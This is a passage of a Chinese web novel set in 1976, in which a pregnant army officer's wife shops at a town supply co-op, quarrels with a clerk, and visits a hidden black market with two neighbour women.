张秋月停了一下又说,
“你要实在过意不去,到时候,你让圆圆买布,你给她肚里的娃做两个小褥子不就行了。”
“对,招娣嫂子,除了家用那些。还有我肚子里的孩子。还得要做很多东西,以后少不得还要麻烦你。”
苏圆圆一直感觉刘招娣家庭有问题。
男人不给孩子治病,刘招娣那么胆小的一个女人,被逼着到黑市卖手工活给孩子看病。
还有每次,刘招娣都要反复强调,有事找她,就让张秋月去叫她。
为啥别人不能直接去她家找她?
只有张秋月才能从她家,把她叫出来呢?
但现在苏圆圆还没有和人家熟悉到,可以过问人家家事的地步。
何况,她也不是啥好奇心重的人。
三人说着话,出了军区,顺着一条河边小土路,走了约半小时,就到了东红镇。
东红镇不大,只有南北一条主街,东红镇供销社就在沿河石桥旁边。
一棵巨大的老槐树,枝繁叶茂,给供销社门口留下一片浓荫。
供销社门口挤了很多人。
“我家男人刚才回家,才通知我说,供销社上了新货,我就去叫你两个了,这才多大会,就来这么多人了。”
张秋月把她的自行车放到旁边相熟的人家,拉着苏圆圆就往里面挤,
“麻烦闪个路,俺妹子怀着崽来,得给娃买几块布。大家照顾着点。”
苏圆圆还是头一次真实感受到,她是穿到了1976年,买个生活用品,都要这样挤着,好像东西不要钱随便抢一样。
“我说是谁来,秋月,我也是来扯布的,听说新来了灯芯绒,想给我家小子做一件新棉裤,小子皮总穿烂,不像你家都是闺女,穿衣裳仔细,大的穿小了,洗洗给小的穿,多省啊。”
苏圆圆扭头看,这是谁啊,说话咋这么损呢,这是明着暗着挤兑张秋月只生闺女,不生儿子。
一个麻脸壮实女人挺着个比她还大的肚子,人越多,她越一脸自豪地挺着肚子往前挤。
“我说,王队长媳妇,你这肚子啥时候又揣上了?这都是第七个了吧?我瞧着还像是个儿。你可是咱家属院里的劳模,大小得给你发个奖。”
张秋月一点也不像那些被人嘲笑不生儿子,就立马恼脸子的女人。
“还是个儿,查过了,老医生也摸过了,说还是个儿。”
王队长媳妇笑得哈哈得,一脸得意,
“俺家男人说了,得生八个儿才能打住。七狼八虎嘛。”
麻脸旁边是一个裹着老蓝方巾的小脚老太太,正一脸羡慕地看着王队长媳妇的肚子,
“你家王队长可有福了,这有人才能有财。不像我家那个不要脸的儿媳妇,生了一窝闺女,最后这一怀是个儿,偏生不是俺张家的种。”
小脚老太太骂骂咧咧。
“她就是那天冤枉红英的那个纠察队王队长的媳妇,给个老母猪一样,一窝接一窝的生,
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都生七个儿了。”
张秋月轻声对苏圆圆说,
“小脚老太太是李菊花婆婆。这两个人成天价在一起,没少背地里蛐蛐人。”
“她天天找人吵架,占了便宜哈哈笑,吃亏了回家就带几个儿子往人家屋里一坐,人家做啥她娘几个就跟着吃啥。是咱家属院出了名的占便宜没够。她男人又是纠察队的,眼睛却只盯着人家的错,从来看不见他媳妇儿子的错。”
“这是谁家小孩,大人也不看着。不买别乱摸糖果罐,碰烂了你赔啊!”
柜台里坐着打毛线的售货员厌烦地驱赶着站在柜台前的一个小男孩。
苏圆圆注意到,小男孩有七八岁,穿着个破军绿色裤子,一看就是旧裤子改小的,膝盖破个洞,裤裆处也破个洞,缝的人显然手艺不好。
歪七扭八,还没缝严实。
“王小军烂裤裆,前面露两,后面露三,屁股一蹶,拉粑粑。”
孩子们说唱着,挤眉弄眼。
“滚滚,王八犊子,敢骂俺儿。你们家裤子不烂。那是你家儿子少,没人穿。”
王队长媳妇扯着嗓子骂那几个孩子,又转头一巴掌打在王小军手上,
“给你扯布做裤子,你在家等着就是,跑来跟着干啥?馋货。再看,我也没闲钱给你买。”
王小军原本眼睛直勾勾盯着柜台后面的糖果罐子,罐子是玻璃的,里面的水果糖,一颗颗都在招着手喊他:来来来,把我带走呀!
他家兄弟多,王小军排行老五,在中间,又是兄弟里面最老实的,衣裳从老大往下传,等传到他身上,都是破洞烂补丁了。
烂衣裳不经穿,他再仔细,衣裳还是越发这边破个洞,那边撕个口子的。
他娘光顾得生孩子,做饭洗衣裳都是哥哥们做的。
三哥给他补衣裳,缝过了还是露洞。
所以他常年穿一身烂衣裳,经常被孩子们起哄,自卑胆小地很。
今儿是他七岁的生日,娘终于开口说要给他扯块布,做条新裤子。
他又高兴,又害怕,因为他娘这句话说了几年了,从来没有兑现过,所以他才缠着他娘,跟着来,想亲眼看着他娘给他扯布做新裤子。
这会子被他娘一打,又被孩子们一起哄,吓得头一缩,钻出人群跑了。
第61章 搪瓷盆只能卖你一个
供销社里面的小门打开了,供销社钱主任走进来,后面跟着李大山,拎着两个柳条筐,
“刚从农场拉来的洋葱莴苣,还有从下面收上来的菠菜、韭菜。”
李大山随着钱主任这一吆喝,跟着喊了一句,
“还有从屠宰场拉来的半扇子鲜猪肉、猪下水、上好的猪膘油。”
李大山刚从医院看了李菊花回来,就被人喊去,说钱主任找他快些去供销社一趟。
李大山心里七上八下的,钱主任就是他媳妇的亲舅,自从他媳妇爹娘过世后,钱主任就更加疼他这唯一的外甥女。
说起来,现在他住的家属院楼房,是媳妇死去的爹分的,供销社司机这活是钱主任安排的。
刚才去医院,在李菊花面前说的有多豪,现在李大山心里就有多怂。
一进供销社后院,李大山就看到钱主任和一个保管员,一个采购员在配货。
立马上前拎起两筐,跟在钱主任身后进了供销社前台。
回家钱主任到时候咋凶他,那是后面的事。眼下,当着这么多人的面,钱主任总不能一点脸也还给他,直接骂。
李大山本着这个想法,越发卖力地,把半扇猪肉提出来,摆放到案子上,然后又把猪下水、膘油摆好。
本来这都不是他的活,他一个人全给干完了,看得旁边打毛线售货员,转头直看不远处的大山媳妇。
咦,今儿遇见的都是熟人来。
苏圆圆没想到,在供销社看到了李大山,还看到了李大山媳妇。
心想,这两口子也真有意思。
都闹成那样了,脸都撕破了,一个摆肉,一个摆弄着布匹,像没事人一样继续上班。
“我要猪膘油,要二斤。”
“我要猪肉,肥的,最肥的那头,来一斤。”
“我要……”
一听有猪油猪肉,人群一阵骚动。
苏圆圆也想买点肉,回家第一次开火做饭,有点肉当配菜,炒啥菜都好吃。
可一看那人挤人,人推人,你扯我辫子,我挤掉你鞋的架势,别说她怀着孩子,就是没怀,她也不敢往那里挤。
“咱去那边先买日用品和布,趁这会人都在抢猪肉。”
刘招娣眼皮子活,看布柜那边的人都被吸引到猪肉这边了,拉着苏圆圆就去扯布。
“我去买肉,给你两也买着。”
张秋月力气大,直接挤进肉摊。
过了肉菜摊,就是日用品柜台,售货员就是那个打毛线的。
苏圆圆手里钱和粮票足足的,手里又捏着早在家里开好的购物清单。
刘招娣帮着她,一会功夫,两人就买了一堆东西,都是过日子不可缺少的东西。
“同志,我要买那个搪瓷洗脸盆,白底蓝边的,对,买两。”
苏圆圆看着柜台后面的货架横梁上,挂着一溜搪瓷洗脸盆。
“货不多,只能卖你一个。”
苏圆圆和刘招娣一直站在这里买东西,
买了铁锅,买碗、买筷子……一会功夫,买了一堆东西。
售货员拿东西开票拨算盘算钱,心里早就烦了,这一听又要买两盆,脸子越发难看了。
不耐烦地拿着长竹竿拨开一溜盆,碰得一阵叮当乱响,才勾下来一个盆,放到柜台上。
她从柜台下面拿出发票本,哗哗写一行字,然后眼睛都不抬,
“一个搪瓷盆子一块七**五,票一张。”
“同志,我买两个,那上面不是还挂着七八个吗?你咋不卖?”
苏圆圆还没从现代买东西,顾客是上帝的思维里跳出来。
她这一张嘴,售货员更烦了,眉毛一挑,白眼儿翻了她一下,
“你这个老嫂子,你还有没有一点觉悟。你叉泥踩屎地跑几十里地来镇上买东西,你都想一下子把东西买完了。就不知别人也想买。你当这供销社是你家开的。”
这是啥态度啊?
给吃了枪药一样!
苏圆圆也想给她一个白眼子,我买东西咋了,她有东西不卖还有理了。
居然还叫她老嫂子,自己才20岁,咋着看也比她年轻。
“这位大娘,你不卖是不是留着给你的熟人来。你想留就直接给俺说,俺乡下人哪敢跟你们内部人抢。”
苏圆圆把嗓子放大,几乎压过那边抢肉众人的声音。
有不少人往这边看。尤其是钱主任皱眉,往这边走来。
售货员脸一下子红了,气的
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,也是急的。
“你叫谁大娘?我们这供销社都是按规矩办事,为人民服务,哪有啥内部外部的,你别胡说。”
“售货员同志,我20岁,你叫我老嫂子。我看着你咋着也得比我大十几岁,按你们的规矩,我不得叫你大娘吗?咋,我又错了?”
“圆圆妹子,你别和她吵——”
刘招娣轻轻拉苏圆圆的胳膊,一个劲给她使眼色。
苏圆圆才后知后觉,意识到一件事。
对,她咋忘了呢?
这可是六七十年代,售货员就是铁饭碗,就是态度差,买东西不但得给钱给票,还得求人给人家笑脸子。
“吵啥得这是?你这位女同志,你是哪来的?咋一下买这么多东西?”
钱主任走过来,挺着肥肚子,打着官腔。
啧啧,这是不想卖给她东西,还想给她扣个帽子。
苏圆圆真心觉得,这时候的供销社从上到下,真是个个都是活祖宗,老百姓真真哪个都得罪不起。
不然,别说买布买肉,就是一粒盐你也别想买到手。
“咋了,我妹子买东西多了有啥不对,她才结婚,搬进新家,除了一张床,啥也没有,这不买锅碗瓢勺,让我妹子吃空气?”
张秋月终于从人群里挤出来,手里拎着一块猪肥膘,还有一块五花肉。
“张秋月,你这一年的肉票,怕不是今儿一次使完了吧?”
钱主任皱了一下眉,张秋月是三号家属院打架骂人最厉害的娘们,军区和东红镇没有谁不认识她。
钱主任看到张秋月手里拎的肉,一阵肉疼。
“别人来他供销社买东西,要是排队凭人头,一人半斤肉。张秋月硬是买一斤,他也不敢多说她。
因为这娘们嘴太溜,能一下子当众把他一夜上八趟厕所的事,都给他抖出来。
他惹不起。
但嘴上刺两句,还是得刺的,不然他心里头难受。
“这不是我一个人的,我,刘招娣,还有霍团长家的,三家人买几斤肉咋了,又没超标。”
霍——霍团长家的?
钱主任脸上的肥肉一颤,哪个霍团长?
他们军区好像只有一个霍团长——霍战北!
第62章 钱大俊可真俊
钱主任眼睛刷一下扫向苏圆圆,一脸震惊,都来不及掩饰。
就这个大肥婆,居然是霍战北新娶的媳妇?
霍战北乡下媳妇揣崽找来了,这个炸裂消息,早就在军区传开了,别说他,就连军区路过的一条狗都知道这个消息。
不是,
这霍团长口味这么重的吗?
娇小姐未婚妻不要,**闺女不要,竟娶了这个乡下大肥婆,还揣着一对不知谁的野种崽子?
钱主任表示,啥两搪瓷盆子,几斤猪肉的事,他这会子都不想管了。
他只想当着当事人的面,吃一下这个大瓜的内情。
“霍团——长?你,你是霍团长新娶的乡下胖媳妇?你这肚子里——?”
毛线售货员一脸震惊,两眼睁大。
她也忘了刚才她和苏圆圆争吵的是啥事了?
眼下,她最想知道的,站在她面前的这个乡下大肥婆,真的是他们军区天神一般的霍团长的新媳妇吗?
“嗯,我们圆圆妹子就是霍团长的新媳妇,咋了,刚结婚,买些生活用品,不行吗?”
张秋月一一看过去,看到的,是钱主任和毛线售货员连连点头,
“行,当然行。”
钱主任赶紧上前,
“霍团长家的,你看看你,你们刚结婚要置办生活用品,你让霍团长勤务兵来报个单子,我们专门派人给你送过去,不就行了,你看看你挺着这么大个肚子,还跑这么远来,多辛苦。”
咦,态度转变这么快的吗?
苏圆圆不由看了一眼张秋月,又看看刘招娣。
不是,霍战北的名头这么好使的吗?
“霍——霍嫂子,你拿这个搪瓷盆子,海市的货,紧俏地很,比你刚才拿的那个质量好,就是价格要贵三毛钱。你们刚结婚,要用就得用最好的。”
毛线售货员麻溜地从柜台下面拿出一个包装几层牛皮纸的搪瓷盆子,打开到柜台上。
黄边白底,几朵盛放的粉黄荷花,外面印着为人民服务字样。
“好,就拿这两。”
人家态度变得这么友好,还叫她霍嫂子,苏圆圆自然不好再抓着人家的错处不放。
再说,她还得赶紧买好东西,回去做饭布置新家。
“好,这个边掉了一小块瓷,我再给你换一个。”
毛线售货员又拿起竹竿,朝着那一溜挂着的搪瓷盆一阵拨拉,哗啦一阵响,勾下来一个盆。
她不但把这个搪瓷盆仔细检查了一遍,还把刚才苏圆圆买的那一堆锅碗瓢盆都仔细检查了一遍。
有掉瓷碰边的,只要不顺眼的,她全给换一遍。生产日期不靠前的,她也给换了。
最后一阵噼哩叭啦打算盘,
“您一共买了大小十三件,一共83块7**3分钱。还有7张工业票。”
然后从柜台下面扯出一块牛皮纸,折好,撕开,几下包好东西,然后用麻绳捆好,低头用牙咬断。一一摆放到柜台上。
苏圆圆第一次买东西,六七十年代的钱她认识。十元是最大的票,最小的是一分钱。
可这票,她就犯了难。
婆婆和霍战北给了她一大堆票,粮票、糖票、布票、肉票、工业票。
我的娘哎,真是买啥都得要票。
“这是工业票。”
张秋月看出了苏圆圆的问题。
她早就听家属院里那些人传,说霍团长新娶的胖媳妇,不但又胖又懒,洗衣裳做饭都不会,不是让郑好去食堂买,就是她婆婆到张政委家借锅做。
后来又有人传,说听一个嫂子说的。那嫂子与苏班副是同乡,说苏班副家三辈子只生男娃,只有苏圆圆一个女娃,一个族里的人都宠着她。
除了吃,啥活也不会干。
那些人传的有鼻子有眼。越传越邪乎,有人竟然说,她亲耳听到苏班副对霍团长说:
苏圆圆是他们全家娇养着长大的,不会做饭、不会洗衣裳、不会下地。这些活以后都不许霍团长让苏圆圆干。
苏圆圆喜欢吃肉,吃甜的,要吃大米白面,要是吃了黑面粗粮就拉不下屎。
苏圆圆脾气还不好,让霍团长不要和她吵架,更不能和她动手。不然,苏圆圆会围着家属院骂三天三夜,祖宗八代都给霍团长撅完,绝不带重样的。
哼,
张秋月听到这些话,觉得这些人就是瞎胡说。她认识的苏圆圆热心大方,哪会这么不讲理,更不可能这么矫情。
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但作为苏家三代唯一的闺女,被娇养着长大,家务做的少,家里人不放心她独自出去办事,没一个人买过东西。
张秋月觉得这样才是真相。
所以,这会一看苏圆圆的样子,就知道,苏圆圆没一个人出门买过东西,不会使这些票,才上前帮忙。
十张的!
售货员看到手里的工业票,手抖了一下,工业票面额有半张、1张、2张、5张的多,10张的只有部分地方有,她们这个小镇上的供销社,售货员还是第一次见。
何况这张工业票还是全国通用,京市发行的。
售货员心头一动,她哥过两天就要去新嫂子家送彩礼。
要是她把手头攒的工业票换成这一张大票。送过去。
多给她爹娘、哥哥长脸。
售货员眼神火**盯着苏圆圆手里的票。
那里面同颜色同样大小的还有不少张,一想到可能还有大额布票、肉票。
售货员的眼神更热了,
“嫂子,这些东西你拎着也不方便,一会我和同事一起送你家去。”
心想,借送东西去霍团长家,一来可以说说换票的事,二来也能亲眼近距离看一眼霍团长。
人家霍团长都有媳妇了,这以后真是看一眼少一眼了。
“我骑着车子带——”
张秋月刚想说我骑着车子带着筐来的,不用麻烦了。
被苏圆圆一把拉住,
“那好,就麻烦你们了。我还得再去扯点布。”
“大俊,赶紧帮霍团长家的扯点布。”
钱主任冲着苏圆圆笑眯眯,领着她往布柜那边去。
一边走,一边冲着面无表情整理布匹的大山媳妇吼了一嗓子。
大俊?
苏圆圆差一点没有管理住脸上的表情。
大呲牙、塌鼻子、厚嘴唇、三角眼、鞋拔子脸。
李大山的媳妇真真是苏圆圆穿过来以后,见过的最丑的女人,没有之一,是唯二,还有一个小型的——李大山闺女李宝珠。
这样一张脸?叫大俊?
苏圆圆觉得,这大山媳妇的爹娘给闺女起名,还真是一言难尽。
这都不是取名,这是许愿。
大俊?这可真是俊!
第63章 一条灯芯绒裤子
李大山的媳妇,不,她叫钱大俊,听她舅叫她,抬头,脸上摆出一个僵硬的笑,
“哎,来了。”
她这一个笑,把迎头正对上她的苏圆圆吓了一跳。
人太丑,要不想笑,还是别笑,太吓人了。
“霍团长家的,你扯啥布?做啥用的?”
“我想给我们家霍团长做身家常穿的衣裳,还有做几件内衣。还有我也想做一身外套,还有两身替换的家居穿的。还有……”
苏圆圆觉得,虽然在家里想好了,但她往这一站,还是有些头大。
现在她们这个家里真是缺的东西太多了。
霍战北除了军装,一件家常衣裳都没有。还有原主娘给她寄来的那些衣裳,真是一言难尽。
裤子褂子不是花的没法看,就是红的绿的丑得哭。
还有被子,床单,枕头,窗帘子,真真是哪哪都要买。
幸好,婆婆和霍战北给的钱和票子很多,刚才她都买一堆东西,还没花一百块钱。
不过,这时候,苏圆圆倒不好再像刚才一样,啥都要买了。
因为她刚才的大手笔,再加上那一嗓子霍团长家的。
现在整个供销社里面的人,都不买东西,个个都看她。
有的直盯着看,有的偷偷看。
她这会子不是个买东西的顾客,倒像个供销社吉祥物。
苏圆圆又不傻,这可是1976年,她要是再继续这样做,简直就是高调炫富,纯纯犯傻,给自己,也给霍战北招祸。
刚才她不但买锅碗瓢盆买多了,工业票也让几个人瞧了去。
这会子可得想法子找补一下。
“唉,我刚才说的是我想要添这些东西。可是,我们刚结婚。屋里头啥也没有。我这肚子里还揣着两崽,再过几个月就要生了。哪哪都得花钱。”
苏圆圆叹口气,
“唉,还是不买了吧。你给介绍一下,看看柜台里都有啥布,我想做的那些东西,用哪些料子最合适。我等以后慢慢买回去。”
众人目光聚到她肚子上。
众人:哦,就是的,霍团长这个胖媳妇都说又胖又懒。
刚才那一顿买买买,还以为又是个败家的。没想到,还挺会过日子。
这年头,谁不是精打细算过来的。
“这匹刚来的料子,是卡其布可以给你家霍团长做一身。”
钱大俊指着一匹藏青色卡其布,介绍了布的优点。
“圆圆,你看那块花布好看,你是新媳妇,扯了做被面子。”
张秋月指着柜台最显眼的位置,挂着的红色灯芯绒被面,上面印的图案是一个大白胖小子抱着大鲤鱼,笑得喜庆地很。
“嗯,这个好看,多子多福,新媳妇盖着沾喜气。”
刘招娣伸手摸了一下,厚实软乎,
“我结婚的时候,也买了一块这样的被面子,做了一床十斤新棉花被。”
刘招娣的脸色暗下来。
张秋月小声嘀咕了一句,
“只可惜才盖了三天,就被她乡下婆婆抱回老家了。”
“起来,我先说的我要买灯芯绒布,给孩子做裤子。”
王队长媳妇挺着大肚子,两步插过来,屁股一撅,把刘招娣顶一边去,硬生生挤在了苏圆圆和张秋月中间。整个人都趴在柜台上。
“同志,给我扯那块。”
王队长媳妇指着红被面旁边的一卷布,是土黄色厚灯芯绒。
“这个——”
钱大俊看着苏圆圆,但并没有直接说先给苏圆圆扯布,让王队长媳妇等。
刚才张秋月几人说要苏圆圆扯那块布做被子,还说啥多子多福。这不是戳她心窝子吗?
她只生了一个闺女,如今不能生了,男人李大山又和李菊花怀了野种,还说查过了,是个儿子。
她现在最不能听谁说生孩子。
尤其是苏圆圆这样,挺着个大肚子,怀双胞胎的新媳妇,她更烦。
要不是她舅舅在一边看着,要不是苏圆圆男人是霍团长,她早就翻白脸儿,不理苏圆圆了。
“凭啥呀,你——”
张秋月刚想怼王队长媳妇,苏圆圆无意间眼角余光瞥到供销社门口,王小军正在探头望着柜台上的布,眸子里闪着惊喜和渴望的光。
“你先扯吧,我不急。再说了,我也没那么多钱扯这么大个被面子。”
苏圆圆在底下拉了一下张秋月的衣袖,抬头对着钱大俊笑着说,
“等你给她扯完,就给我选一块料子柔软的,我扯了给孩子缝两小褥子。”
“土黄色灯芯绒,一丈二的布宽,你要整张扯,布票一丈二,钱三块七**三,能给你家小军做两条裤子。”
钱大俊声音平淡,眼神傲慢,恢复了供销社售货员高傲样子。
“这料子缩水不?掉色不?还有这印记,你能确定这是国营的料子不?”
王队长媳妇用手捻着布边的印记。
“是国营的料子,不缩水,也不掉色。还耐造,保管你家小军穿小了,再传给你肚子里孩子穿,也穿不坏。”
钱大俊目光扫过王队长媳妇的肚子,眼神里带着点嫉妒和厌恶。
“你说的倒好听,我们家哪像你们家,两人挣钱三人花。我们家可扯不起整张。你给我扯一条,布面放宽一点,长度这么长。”
王队长媳妇比划了一下。
“娘,不要扯大,扯正好的。”
王小军忍不住,探头用祈求的目光看着王队长媳妇。
“小孩子家家懂个啥,扯大一些你能多穿几年。”
王队长媳妇指着布幅,目光紧紧盯着钱大俊手里的大剪刀,一心只想着能让剪刀偏一点。
“娘,我要正好的,做大了,我抢不过哥哥们”
王小军一脸讨好冲着他娘笑,
“娘,我去给你摸鱼,给你做鲫鱼汤喝。
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”
王小军直盯着他娘,
“娘,求你了,扯正好的。”
“好,犟种,扯正好的。你赶紧滚吧。”
王队长媳妇骂骂咧咧,嘴里嘟囔着儿子个个都是讨债鬼。
王小军看他娘答应了,顿时咧开嘴笑了,转身就跑。
苏圆圆目光忍不住落在王小军的裤子上,真是一条烂得不能再烂的裤子了。
她刚才看到,那裤子前面两膝盖各露一个洞;裤裆那里炸了线,**乱缝上露出依然露着洞。
现在王小**身一跑,她看到那裤子后面两屁股蛋也各露了一个洞
王小军烂裤裆,前面露两,后面露三;屁股一撅,拉粑粑。
苏圆圆突然就明白了,刚才那群孩子起哄,嘲笑王小军的那段顺口溜的意思。
啧啧,小孩子的眼光可真毒!
钱大俊拿起大剪刀,顺着布纹刚要剪。
王队长媳妇手放到布上,
“裁到这。”
“你手不要了,有事你说话,乱动啥呀。”
钱大俊白了王队长媳妇一眼,顺着王队长媳妇手指的地方,咔嚓一声裁开一个口,然后两手使劲一撕。
刺啦一声,布被扯开了,她抖了抖,几下就叠成方正一块,然后拿牛皮纸一包,用麻绳一系,
“拿着。”
王队长媳妇笑得一脸快活,
“扯大了,能多穿几年。”
苏圆圆这还是第一次,这么直观地面对六七十年代人们困难的生活。
新三年,旧三年,缝缝补补又三年。
这个叫王小军的孩子,自出生一来就一直穿着旧衣裳、烂裤子的孩子。
他人生中的这第一条裤子,终究还是扯大了。
等做好后,拿回家,他能不能真正穿到自己身上,还是要被家里的那几个哥哥抢了去,穿旧了再给他。
“你要给孩子扯布做小褥子,这种料子,你看看……”
接下来的事情,苏圆圆没了刚进供销社的兴奋心情。不知为何,她一直忘不了王小军穿着烂裤子,扒着供销社大门,探头对他娘说要扯正好的,那一脸哀求的表情。
直到几人走出供销社,刘招娣一句话,苏圆圆才回过神来。
“圆圆,你真要现在去那边看看?”
“嗯,咋的,现在不方便去吗?”
在供销社买的那些东西,都交给毛线售货员,让她们下班后,给送家去。
苏圆圆打的主意,就是要张秋月空出柳条筐,想让刘招娣带着,去黑市看看,买了东西直接放柳条筐里,方便带家去。
“这个时间点,正好去,纠察队的人一般这个点不会去查。”
张秋月也符合着刘招娣的话,
“对,这正是饭点,再过一个小时就紧乎了。”
“走,我们快点去。”
一想到,马上就能看到六七十年代真正的黑市了,苏圆圆情绪又激动起来了。
第64章 逛黑市
“这就是黑市?”
三人顺着河堤走了一里多路,刘招娣领着两人下了路,直接钻进一处林子,七拐八弯,进了一个小山洼子。
路难走的很,苏圆圆走得气喘吁吁。
山洼子里到处是各种野树,三三两两的摊子放在地上,没有一个人吆喝,甚至筐子蓝子都盖得严实的。
每有人走近看,卖家就揭开布给人看一眼,小声交谈几句,不走的人转头就走,买了的人迅速把东西塞身上或者手里提的篮子里。
整个画面就像是个哑剧。
刘招娣轻车熟路,走到一棵枣树前,从怀里掏出三毛钱交给树下的两汉子,带着两人快速融入林子。
“这买东西,还要交保护费?”
苏圆圆心跳得扑通扑通的。
她原本还想着,要靠自己的医术,弄些药材做药丸,到黑市里卖呢。
可看这情形,光要她走这些路,在这山林里穿行,就她这吨位,都得累半死。
“嘘,小声点,他们是看门的,只要联防队来查,就会学三声布谷鸟叫,大家就会散了。”
刘招娣压低声音说,
“今天算你运气好,平时小交易,大家都是在路口或者供销社附近,还有早集里,但那只能卖些小东西。”
刘招娣从怀里东掏西掏,掏出几个绣品,用一块粗布包裹着,
“黑山洼一月三次交易,这里东西多,你能买到你想要的好东西。我的东西要是卖给供销社价低,在这里能多卖一倍。”
刘招娣警惕地看看四周,
“不过在这里卖东西和买东西,你都得注意,多看少说,不管买卖,成了就赶紧走。这里经常有黑吃黑。”
苏圆圆震惊地看着刘招娣,以往在人前一副怯懦的受气小媳妇,这会子简直完全变了一个人。
她实在不敢想,就刘招娣这小身板,居然经常出入这里,她真想问一句,你以前也被黑吃黑过吗?
“秋月嫂子,你以前来过吗?”
“来过,我经常来买粮食。”
张秋月嘿嘿,
“我家男人能吃,四个闺女也能吃。家里粮食又快见底了。”
刘招娣指了一下前面几棵树下的摊子,
“你和秋月嫂子先去看布和棉花,我把我的东西先出了。”
“我不急,我们跟着你一起。”
苏圆圆想熟悉一下这里交易的流程,刘招娣也不多说,点点头,继续一边往前走,一边从身上往外拿东西。
苏圆圆眼看着刘招娣整个人一会功夫又瘦了一圈,这才想到,怪不得今天来的时候,她看刘招娣穿了个厚长大褂子,裤子还扎了腿。
原来她衣裳里藏了这么多东西啊。
幸好刘招娣瘦得很,卖的东西又都是绣品,不然这换个东西卖,还真不好藏。
苏圆圆看着刘招娣熟练地走到一个疤瘌脸汉子身边,把她的包裹打开,拿出一件绣品展示给汉子看。
我的妈呀!
苏圆圆纵是作为一个现代网络冲浪人,自认见多识广,可看到刘招娣拿出来的东西,还是瞳孔巨震。
肚兜!
绣花的红肚兜!
两朵绽放的大红花分布在肚兜两侧,中间的花蕊居然是缕空的。
哦,对,就是在那个位置空了!
这是1976年?
这是刘招娣绣的?
苏圆圆觉得自己是不是眼花了,可她揉了一下眼睛,看到那汉子拿过来,红肚兜正在他手上。
粗糙的大拇指正好穿过那两个缕空的洞。
我眼睛没瞎吧?
苏圆圆转头看看张秋月,张秋月倒是一脸平静,小声说,
“招娣也是被逼的,绣图是那汉子给的,他是个二道贩子,东西是海市娇小姐定制的。绣一件招娣能拿五块钱。这样的好事,一年也碰不到几回。”
妈呀,苏圆圆觉得她还是有些保守了。
看来,这不管哪个年代,都有这样的人。别人饿的啃黑面馍馍的时候,有些人吃肉都嫌肥。
“都出了,你们猜,我这回挣了多少钱?”
刘招娣很快回来了,一手紧捏着粗布包裹皮子,黄瘦的脸上激动地泛着红晕。
“昨儿你不是说你绣好了七件吗?他全收了?这一回没挑刺?”
张秋月也替刘招娣高兴。
刘招娣在家属院,只有她一个朋友,有啥话,都和她说。
刘招娣绣东西卖,她男人也知道一些,但只要刘招娣拿钱回家,他也只当没看见。但那都是小打小摸,要是刘招娣卖钱多了,他会拿走喝酒。
刘招娣拦几次被打得厉害,后来就学聪明了,在家绣好的东西,她都偷偷放张秋月家,自家只放几小件,这样瞒着男人挣钱给闺女治病。
“他说看在我按图绣的两肚兜好看的份上,别的几件他也收了。还说下次等这货送回海市,那边要是还有这样的订单还找我。”
刘招娣把手里的钱和票在两人面前摊开了一下,
“十二块六毛钱。”
看了一眼四周,刘招娣快速把手缩回,把钱包在一个旧手帕里,卷了又卷,塞进腰里,又使劲按了按,
“那两个肚兜一个五块,卖了十块;两件大点的卖了两块,剩下的三件小的卖了六**。我攒够60块钱了,过两天,我带孩子去省医院看看。”
“嗯,一定能治好的。等孩子病好长大了,嫁人了,招娣啊,你就跟着闺女去,也享一把福。”
张秋月说着,撩起衣角擦了一下眼角。
苏圆圆今天听了几次刘招娣有个病孩子了。
这孩子是啥病?
她看看能不能治?
但现在不是说这话的时候,她们得赶紧买了东西回去,回家以后有的是时间问孩子的事。
“走,赶紧去买布。”
刘招娣拉着苏圆圆的手就走。
“我刚才看过了,有三卖布的,一个卖棉花的。”
苏圆圆示意刘招娣往一棵柿子
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树下走。
刚才刘招娣卖绣品的时候,她们站着等,苏圆圆也没闲着,她仔细打量了周围卖东西的人,心里已经打算好了,去看哪几个人的货。
“你可真细心,圆圆,你要是干,你比招娣还适合来黑市做买卖。”
张秋月说,
“招娣你带着圆圆去买布买棉花,我去看看粮食,家里粮食缸都要空了,粮票也快没了,得买些不要票的高价粮。”
一说这话,张秋月就发愁。
张秋月的男人五大三粗,特别能吃,外号叫李大盆,人家吃饭用碗,他吃饭得用盆,还是家里和面的大黄瓷盆。
张秋月长得也壮实,在家属院女人群里也算是挺能吃的,喝面条子,她男人一顿一盆;她一顿三大海碗。
四个闺女长得都像爹,个个又高又壮,像小牛犊子一样。饭量个个像了她们爹,就连最小的才六岁的小老四吃饭,都用大海碗。还得顿顿要吃满满的。
一家六口人,只有男人一个人挣钱,男人挣的那点子钱,全炫嘴里也不够吃。
幸好张秋月婆家娘家都帮衬她这个小家,年年都给她家寄粮食,可在六张嘴面前,还是不够吃。
“唉,真是**,俺家这粮票每次都只够吃个月头,到月尾别说票了,钱也得欠,月月拉一屁股饥荒。”
张秋月少有的叹气,
“要是哪天能让男人和孩子都能可着肚子吃饱一顿,把我这身肉垛吧垛吧包饺子我也愿意。”
似乎是为了印证张秋月的话一样,张秋月肚子这时突然发出一声咕噜……
苏圆圆又是一次直观面对六七十年代人的穷苦。
王小军的烂裤子,张秋月的饿肚子。
“没事,以后跟我赚钱,一定能让你家个个吃饱饭。”
张秋月为人爽朗,只是随口说个嘴罢了,并没有向谁诉苦和寻求帮助的想法。
以前不管她家多难,还总是会挤出些钱和吃食给刘招娣母女。
苏圆圆这话一出,她怔了一下,又笑了,
“以后嫂子就跟你混,咱三个以后挣多多的钱,给招娣闺女看病,给俺男人闺女吃饱饭。”
张秋月和刘招娣两人,没有一个人问苏圆圆,她男人是霍团长,婆婆又有钱还甜她,给她那么多钱和票,她为啥还要自己挣钱。
在两人心里,苏圆圆拿她们当姐妹,她们就拿苏圆圆当自家姐妹,苏圆圆说她要干啥,她们都无条件支持,绝不会多问一句为啥。
“寻布的?”
三人走到一丛灌木前,那里蹲着一个挎篮子的老太太,一看三人,就把篮子上面的盖布揭了一下,
蓝卡其,灯芯绒,的确良几块大小不一的布窝在篮子里。
“这点子不行,块太小,布太少。”
张秋月蹲下来,伸手摸篮子里的布。
“我妹子刚结婚,肚子里崽过几个月要生,被面子,衣裳布,窗帘子,还有崽的襁褓,啥都得买。”
第65章 买肉
“要这么多啊?”
老太太的眼神里带着审视。
“我也要再买点绸子布,绣手帕的。”
刘招娣往前凑了一下,老太太看了她一眼。
“你们跟我来。”
说完转身就往林子深处走,三人互相看了一眼,跟着老太太往前走了几百米,灌木丛后出现一个山洞。
山洞口蹲着一个戴帽子的老汉,看到老伴一下子领来三个买家,眼睛一亮,招呼了一声,
“布都在里面,你们跟我来,你们今儿来的巧,昨儿刚弄来的,有三种布,还有一块稠子。”
